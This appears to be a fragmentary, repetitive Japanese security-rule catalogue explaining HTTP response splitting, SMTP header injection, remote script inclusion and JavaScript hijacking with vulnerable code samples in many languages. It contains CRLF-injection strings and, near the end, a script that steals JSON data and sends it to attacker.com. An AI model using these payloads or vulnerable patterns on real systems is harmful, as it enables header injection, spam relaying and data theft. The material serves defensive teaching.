services-config.xml
ディスクリプタファイルは "Logging" XML 要素を指定して、ログの各要素を記述します。次のようになります。
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
タグでは、ログレベルを示す level
と呼ばれる属性をオプションで使用できます。デバッグ レベルが詳細すぎるレベルに設定されている場合、アプリケーションが機密データをログ ファイルに書き込む可能性があります。script
タグについて考えてみましょう。
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
以外の Web サイトでこのタグが表示される場合、このサイトは www.example.com
に依存し、正しい悪意のないコードが提供されます。攻撃者が www.example.com
を乗っ取っている場合、fancyWidget.js
の内容を改変して、サイトのセキュリティが侵害される場合があります。たとえば、fancyWidget.js
にユーザーの機密情報を盗むコードが追加される可能性があります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。
@HttpGet
global static void doGet() {
...
Map<String, String> params = ApexPages.currentPage().getParameters();
RestResponse res = RestContext.response;
res.addHeader(params.get('name'), params.get('value'));
...
}
author
と Jane Smith
で構成されると想定した場合、このヘッダーを含む HTTP レスポンスは次のような形式になります。
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
や bar
などの悪意のある名前と値のペアを送信し、HTTP レスポンスが次の形式の 2 つのレスポンスに分割される場合があります。
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
HttpResponse.AddHeader()
メソッドに送信されるときに、CR、LF、および NULL 文字が %0d、%0a、および %00 に変換されます。最新の .NET フレームワークを使用しており、改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではない可能性があります。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
Author.Text
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
author
を HTML フォームから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(AUTHOR)
...
END-EXEC.
EXEC CICS
WEB WRITE
HTTPHEADER(COOKIE)
VALUE(AUTHOR)
...
END-EXEC.
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を Web フォームから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1/1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。
final server = await HttpServer.bind('localhost', 18081);
server.listen((request) async {
final headers = request.headers;
final contentType = headers.value('content-type');
final client = HttpClient();
final clientRequest = await client.getUrl(Uri.parse('https://example.com'));
clientRequest.headers.add('Content-Type', contentType as Object);
});
author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。name
と value
が攻撃者によって制御される可能性がある場合を想定します。このコードは、名前と値が攻撃者によって制御される可能性のある HTTP ヘッダーを設定します。
...
NSURLSessionConfiguration * config = [[NSURLSessionConfiguration alloc] init];
NSMutableDictionary *dict = @{};
[dict setObject:value forKey:name];
[config setHTTPAdditionalHeaders:dict];
...
author
と Jane Smith
で構成されると想定すると、このヘッダーを含む HTTP レスポンスは次の形式をとります。
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
や bar
などの悪意のある名前/値のペアを送信する可能性があり、その場合 HTTP レスポンスは次の形式の 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
header()
関数に渡されると、警告を生成し、ヘッダーの作成を中止します。使用している PHP のバージョンが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。
<?php
$location = $_GET['some_location'];
...
header("location: $location");
?>
HTTP/1.1 200 OK
...
location: index.html
...
some_location
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「index.html\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
-- Assume QUERY_STRING looks like AUTHOR_PARAM=Name
author := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 14);
OWA_UTIL.mime_header('text/html', false);
OWA_COOKE.send('author', author);
OWA_UTIL.http_header_close;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
location = req.field('some_location')
...
response.addHeader("location",location)
HTTP/1.1 200 OK
...
location: index.html
...
some_location
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「index.html\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、サイトの別の部分への get リクエストに使用します。
author = req.params[AUTHOR_PARAM]
http = Net::HTTP.new(URI("http://www.mysite.com"))
http.post('/index.php', "author=#{author}")
POST /index.php HTTP/1.1
Host: www.mysite.com
author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nPOST /index.php HTTP/1.1\r\n...」といった悪意のある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
POST /index.php HTTP/1.1
Host: www.mysite.com
author=Wiley Hacker
POST /index.php HTTP/1.1
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。name
と value
が攻撃者によって制御される可能性がある場合を想定します。このコードは、名前と値が攻撃者によって制御される可能性のある HTTP ヘッダーを設定します。
...
var headers = []
headers[name] = value
let config = NSURLSessionConfiguration.backgroundSessionConfigurationWithIdentifier("com.acme")
config.HTTPAdditionalHeaders = headers
...
author
と Jane Smith
で構成されると想定すると、このヘッダーを含む HTTP レスポンスは次の形式をとります。
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
や bar
などの悪意のある名前/値のペアを送信する可能性があり、その場合 HTTP レスポンスは次の形式の 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーに設定します。
...
Cookie cookie = new Cookie('author', author, '/', -1, false);
ApexPages.currentPage().setCookies(new Cookie[] {cookie});
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
author
として送信された値に CR 文字や LF 文字が含まれていない場合のみです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは次の形式で 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーション サーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合のみです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは次の形式で 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
Example 1
を応用しています。クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。
...
CookieManager webCookieManager = CookieManager.getInstance();
String author = this.getIntent().getExtras().getString(AUTHOR_PARAM);
String setCookie = "author=" + author + "; max-age=" + cookieExpiration;
webCookieManager.setCookie(url, setCookie);
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
<?php
$author = $_GET['AUTHOR_PARAM'];
...
header("author: $author");
?>
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
location = req.field('some_location')
...
response.addHeader("location",location)
HTTP/1.1 200 OK
...
location: index.html
...
some_location
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「index.html\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
IllegalArgumentException
が発生します。 使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。 しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。IllegalArgumentException
が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。author
を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。
...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
CC
や BCC
などの任意のヘッダーを追加し、それを使用して、メールの内容を自身に漏らしたり、メール サーバーをスパム ボットとして悪用したりできます。CC
ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。
func handler(w http.ResponseWriter, r *http.Request) {
subject := r.FormValue("subject")
body := r.FormValue("body")
auth := smtp.PlainAuth("identity", "user@example.com", "password", "mail.example.com")
to := []string{"recipient@example.net"}
msg := []byte("To: " + recipient1 + "\r\n" + subject + "\r\n" + body + "\r\n")
err := smtp.SendMail("mail.example.com:25", auth, "sender@example.org", to, msg)
if err != nil {
log.Fatal(err)
}
}
...
subject: [Contact us query] Page not working
...
subject
として送信された値に CR 文字や LF 文字が含まれていない場合のみです。攻撃者が、悪意のある文字列として "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." などを送信した場合、SMTP ヘッダーは次のような形式になります。
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
や BCC
など任意のヘッダーを追加して電子メールの内容を盗み見たり、メール サーバーをスパム ボットとして使用したりできます。CC
ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。
String subject = request.getParameter("subject");
String body = request.getParameter("body");
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("webform@acme.com"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("support@acme.com"));
message.setSubject("[Contact us query] " + subject);
message.setText(body);
Transport.send(message);
...
subject: [Contact us query] Page not working
...
subject
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が "Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." といった悪意のある文字列を送信すると、SMTP ヘッダーは次の形式になります。
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
や BCC
など任意のヘッダーを追加して電子メールの内容を盗み見たり、メール サーバーをスパム ボットとして使用したりできます。CC
ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。
$subject = $_GET['subject'];
$body = $_GET['body'];
mail("support@acme.com", "[Contact us query] " . $subject, $body);
...
subject: [Contact us query] Page not working
...
subject
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が "Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." といった悪意のある文字列を送信すると、SMTP ヘッダーは次の形式になります。
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
CC
や BCC
など任意のヘッダーを追加して電子メールの内容を盗み見たり、メール サーバーをスパム ボットとして使用したりできます。CC
ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。
body = request.GET['body']
subject = request.GET['subject']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
headers = "\r\n".join(["from: webform@acme.com",
"subject: [Contact us query] " + subject,
"to: support@acme.com",
"mime-version: 1.0",
"content-type: text/html"])
content = headers + "\r\n\r\n" + body
session.sendmail("webform@acme.com", "support@acme.com", content)
...
subject: [Contact us query] Page not working
...
subject
として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が "Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." といった悪意のある文字列を送信すると、SMTP ヘッダーは次の形式になります。
...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
